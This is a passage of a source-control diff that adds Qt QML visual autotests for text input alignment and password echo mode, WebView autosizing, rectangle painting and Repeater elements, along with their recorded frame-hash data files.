160 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 176 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 192 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 208 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 224 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 240 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 256 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 272 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 288 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 304 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 320 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 336 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 352 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 368 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 384 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 400 + hash: "7619ed68aca3544f373777e11a4bfefa" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/echoMode.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/echoMode.qml new file mode 100644 index 0000000..b0b50e4 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/echoMode.qml @@ -0,0 +1,10 @@ +import Qt 4.6 + +Item{ + height: 50; width: 200 + Column{ + //Not an exhaustive echo mode test, that's in QLineEdit (since the functionality is in QLineControl) + TextInput{ id: main; focus: true; echoMode: TextInput.Password } + Text{ text: main.text } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/hAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/hAlign.qml new file mode 100644 index 0000000..2d65adf --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/hAlign.qml @@ -0,0 +1,39 @@ +import Qt 4.6 + +Item{ + width:600; + height:300; + Column{ + TextInput{ + text: "Jackdaws love my big sphinx of quartz"; + horizontalAlignment: TextInput.AlignLeft; + } + TextInput{ + text: "Jackdaws love my big sphinx of quartz"; + horizontalAlignment: TextInput.AlignHCenter; + } + TextInput{ + text: "Jackdaws love my big sphinx of quartz"; + horizontalAlignment: TextInput.AlignRight; + } + Rectangle{ width: 600; height: 10; color: "pink" } + TextInput{ + height: 30; + width: 600; + text: "Jackdaws love my big sphinx of quartz"; + horizontalAlignment: TextInput.AlignLeft; + } + TextInput{ + height: 30; + width: 600; + text: "Jackdaws love my big sphinx of quartz"; + horizontalAlignment: TextInput.AlignHCenter; + } + TextInput{ + height: 30; + width: 600; + text: "Jackdaws love my big sphinx of quartz"; + horizontalAlignment: TextInput.AlignRight; + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qfxwebview/autosize/autosize.qml b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/autosize.qml new file mode 100644 index 0000000..3c00ee6 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/autosize.qml @@ -0,0 +1,61 @@ +import Qt 4.6 +import org.webkit 1.0 + +// The WebView size is determined by the width, height, +// preferredWidth, and preferredHeight properties. +Rectangle { + id: rect + color: "white" + width: 200 + height: layout.height + Column { + id: layout + spacing: 2 + WebView { + html: "No width defined." + Rectangle { color: "#10000000" + anchors.fill: parent + } + } + WebView { + width: rect.width + html: "The width is full." + Rectangle { + color: "#10000000" + anchors.fill: parent + } + } + WebView { + width: rect.width/2 + html: "The width is half." + Rectangle { + color: "#10000000" + anchors.fill: parent + } + } + WebView { + preferredWidth: rect.width/2 + html: "The preferredWidth is half." + Rectangle { + color: "#10000000" + anchors.fill: parent + } + } + WebView { + preferredWidth: rect.width/2 + html: "The_preferredWidth_is_half." + Rectangle { + color: "#10000000" + anchors.fill: parent + } + } + WebView { + width: rect.width/2 + html: "The_width_is_half." + Rectangle { + color: "#10000000" + anchors.fill: parent + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data-X11/autosize.0.png b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data-X11/autosize.0.png new file mode 100644 index 0000000..1f28b9a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data-X11/autosize.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data-X11/autosize.qml b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data-X11/autosize.qml new file mode 100644 index 0000000..d920a4c --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data-X11/autosize.qml @@ -0,0 +1,83 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 32 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 48 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 64 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 80 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 96 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 112 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 128 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 144 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 160 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 176 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 192 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 208 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 224 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 240 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 256 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 272 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 288 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } + Frame { + msec: 304 + hash: "0c70d855adc847fe33d7959ccb98bb8b" + } +} diff --git a/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data/autosize.0.png b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data/autosize.0.png new file mode 100644 index 0000000..1f28b9a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data/autosize.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data/autosize.qml b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data/autosize.qml new file mode 100644 index 0000000..47999be --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qfxwebview/autosize/data/autosize.qml @@ -0,0 +1,83 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 32 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 48 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 64 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 80 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 96 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 112 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 128 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 144 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 160 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 176 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 192 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 208 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 224 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 240 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 256 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 272 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 288 + hash: "66539e1b1983d95386b0d30d6e969904" + } + Frame { + msec: 304 + hash: "66539e1b1983d95386b0d30d6e969904" + } +} diff --git a/tests/auto/declarative/qmlvisual/rect/GradientRect.qml b/tests/auto/declarative/qmlvisual/rect/GradientRect.qml new file mode 100644 index 0000000..1d3ec98 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/rect/GradientRect.qml @@ -0,0 +1,25 @@ +import Qt 4.6 + +Item { + id: rect + property color color + property color border : Qt.rgba(0,0,0,0) + property int rotation + property int radius + property int borderWidth + property bool smooth: false + + width: 80; height: 80 + Item { + anchors.centerIn: parent; rotation: rect.rotation; + Rectangle { + anchors.centerIn: parent; width: 80; height: 80 + border.color: rect.border; border.width: rect.border != Qt.rgba(0,0,0,0) ? 2 : 0 + radius: rect.radius; smooth: rect.smooth + gradient: Gradient { + GradientStop { position: 0.0; color: rect.color } + GradientStop { position: 1.0; color: "white" } + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/rect/MyRect.qml b/tests/auto/declarative/qmlvisual/rect/MyRect.qml new file mode 100644 index 0000000..22e0948 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/rect/MyRect.qml @@ -0,0 +1,21 @@ +import Qt 4.6 + +Item { + id: rect + property color color + property color border : Qt.rgba(0,0,0,0) + property int rotation + property int radius + property int borderWidth + property bool smooth: false + + width: 80; height: 80 + Item { + anchors.centerIn: parent; rotation: rect.rotation; + Rectangle { + anchors.centerIn: parent; width: 80; height: 80 + color: rect.color; border.color: rect.border; border.width: rect.border != Qt.rgba(0,0,0,0) ? 2 : 0 + radius: rect.radius; smooth: rect.smooth + } + } +} diff --git a/tests/auto/declarative/qmlvisual/rect/data/rect-painting.0.png b/tests/auto/declarative/qmlvisual/rect/data/rect-painting.0.png new file mode 100644 index 0000000..3b7970d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/rect/data/rect-painting.0.png differ diff --git a/tests/auto/declarative/qmlvisual/rect/data/rect-painting.qml b/tests/auto/declarative/qmlvisual/rect/data/rect-painting.qml new file mode 100644 index 0000000..52acadf --- /dev/null +++ b/tests/auto/declarative/qmlvisual/rect/data/rect-painting.qml @@ -0,0 +1,287 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 32 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 48 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 64 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 80 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 96 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 112 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 128 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 144 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 160 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 176 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 192 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 208 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 224 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 240 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 256 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 272 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 288 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 304 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 320 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 336 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 352 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 368 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 384 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 400 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 416 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 432 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 448 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 464 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 480 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 496 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 512 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 528 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 544 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 560 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 576 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 592 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 608 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 624 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 640 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 656 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 672 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 688 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 704 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 720 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 736 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 752 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 768 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 784 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 800 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 816 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 832 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 848 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 864 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 880 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 896 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 912 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 928 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 944 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 960 + image: "rect-painting.0.png" + } + Frame { + msec: 976 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 992 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 1008 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 1024 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 1040 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 1056 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 1072 + hash: "79998980caccd4eb479fbd9f2a13c860" + } + Frame { + msec: 1088 + hash: "79998980caccd4eb479fbd9f2a13c860" + } +} diff --git a/tests/auto/declarative/qmlvisual/rect/rect-painting.qml b/tests/auto/declarative/qmlvisual/rect/rect-painting.qml new file mode 100644 index 0000000..93beeec --- /dev/null +++ b/tests/auto/declarative/qmlvisual/rect/rect-painting.qml @@ -0,0 +1,55 @@ +import Qt 4.6 + +Rectangle { + width: 900; height: 500 + color: "white" + + Rectangle { + anchors.top: parent.verticalCenter + anchors.left: parent.left + anchors.right: parent.right + anchors.bottom: parent.bottom + color: "#eeeeee" + } + + Grid { + anchors.centerIn: parent + columns: 8; rows:4; spacing: 30 + + MyRect { color: "lightsteelblue" } + MyRect { color: "lightsteelblue"; border: "gray" } + MyRect { color: "lightsteelblue"; radius: 10 } + MyRect { color: "lightsteelblue"; radius: 10; border: "gray" } + GradientRect { color: "lightsteelblue" } + GradientRect { color: "lightsteelblue"; border: "gray" } + GradientRect { color: "lightsteelblue"; radius: 10 } + GradientRect { color: "lightsteelblue"; radius: 10; border: "gray" } + + MyRect { color: "thistle"; rotation: 10 } + MyRect { color: "thistle"; border: "gray"; rotation: 10 } + MyRect { color: "thistle"; radius: 10; rotation: 10 } + MyRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10 } + GradientRect { color: "thistle"; rotation: 10 } + GradientRect { color: "thistle"; border: "gray"; rotation: 10 } + GradientRect { color: "thistle"; radius: 10; rotation: 10 } + GradientRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10 } + + MyRect { color: "lightsteelblue"; smooth: true } + MyRect { color: "lightsteelblue"; border: "gray"; smooth: true } + MyRect { color: "lightsteelblue"; radius: 10; smooth: true } + MyRect { color: "lightsteelblue"; radius: 10; border: "gray"; smooth: true } + GradientRect { color: "lightsteelblue"; smooth: true } + GradientRect { color: "lightsteelblue"; border: "gray"; smooth: true } + GradientRect { color: "lightsteelblue"; radius: 10; smooth: true } + GradientRect { color: "lightsteelblue"; radius: 10; border: "gray"; smooth: true } + + MyRect { color: "thistle"; rotation: 10; smooth: true } + MyRect { color: "thistle"; border: "gray"; rotation: 10; smooth: true } + MyRect { color: "thistle"; radius: 10; rotation: 10; smooth: true } + MyRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10; smooth: true } + GradientRect { color: "thistle"; rotation: 10; smooth: true } + GradientRect { color: "thistle"; border: "gray"; rotation: 10; smooth: true } + GradientRect { color: "thistle"; radius: 10; rotation: 10; smooth: true } + GradientRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10; smooth: true } + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/basic1.qml b/tests/auto/declarative/qmlvisual/repeater/basic1.qml new file mode 100644 index 0000000..acb669c --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/basic1.qml @@ -0,0 +1,27 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 300 + height: 200 + Row { + Repeater { + delegate: Rectangle { + color: "red" + width: 100 + height: 100 + Text { + text: name + } + } + model: ListModel { + ListElement { + name: "January" + } + ListElement { + name: "February" + } + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/basic2.qml b/tests/auto/declarative/qmlvisual/repeater/basic2.qml new file mode 100644 index 0000000..3323da5 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/basic2.qml @@ -0,0 +1,31 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 300 + height: 200 + Component { + id: delegate + Rectangle { + color: "red" + width: 100 + height: 100 + Text { + text: name + } + } + } + Row { + Repeater { + delegate: delegate + model: ListModel { + ListElement { + name: "January" + } + ListElement { + name: "February" + } + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/basic3.qml b/tests/auto/declarative/qmlvisual/repeater/basic3.qml new file mode 100644 index 0000000..cb57d49 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/basic3.qml @@ -0,0 +1,29 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 300 + height: 200 + ListModel { + id: dataSource + ListElement { + name: "January" + } + ListElement { + name: "February" + } + } + Row { + Repeater { + model: dataSource + delegate: Rectangle { + color: "red" + width: 100 + height: 100 + Text { + text: name + } + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/basic4.qml b/tests/auto/declarative/qmlvisual/repeater/basic4.qml new file mode 100644 index 0000000..f31de2c --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/basic4.qml @@ -0,0 +1,33 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 300 + height: 200 + ListModel { + id: dataSource + ListElement { + name: "January" + } + ListElement { + name: "February" + } + } + Component { + id: delegate + Rectangle { + color: "red" + width: 100 + height: 100 + Text { + text: name + } + } + } + Row { + Repeater { + model: dataSource + delegate: delegate + } + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic1.0.png b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic1.0.png new file mode 100644 index 0000000..2658b6b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic1.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic1.qml b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic1.qml new file mode 100644 index 0000000..5bc0d6b --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic1.qml @@ -0,0 +1,323 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 32 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 48 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 64 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 80 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 96 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 112 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 128 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 144 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 160 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 176 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 192 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 208 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 224 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 240 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 256 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 272 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 288 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 304 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 320 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 336 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 352 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 368 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 384 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 400 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 416 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 432 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 448 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 464 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 480 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 496 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 512 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 528 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 544 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 560 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 576 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 592 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 608 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 624 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 640 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 656 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 672 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 688 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 704 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 720 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 736 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 752 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 768 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 784 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 800 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 816 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 832 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 848 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 864 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 880 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 896 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 912 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 928 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 944 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 960 + image: "basic1.0.png" + } + Frame { + msec: 976 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 992 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1008 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1024 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1040 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1056 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1072 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1088 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1104 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1120 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1136 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1152 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1168 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1184 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1200 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1216 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1232 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic2.0.png b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic2.0.png new file mode 100644 index 0000000..2658b6b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic2.qml b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic2.qml new file mode 100644 index 0000000..64cf2ea --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic2.qml @@ -0,0 +1,331 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 32 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 48 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 64 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 80 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 96 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 112 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 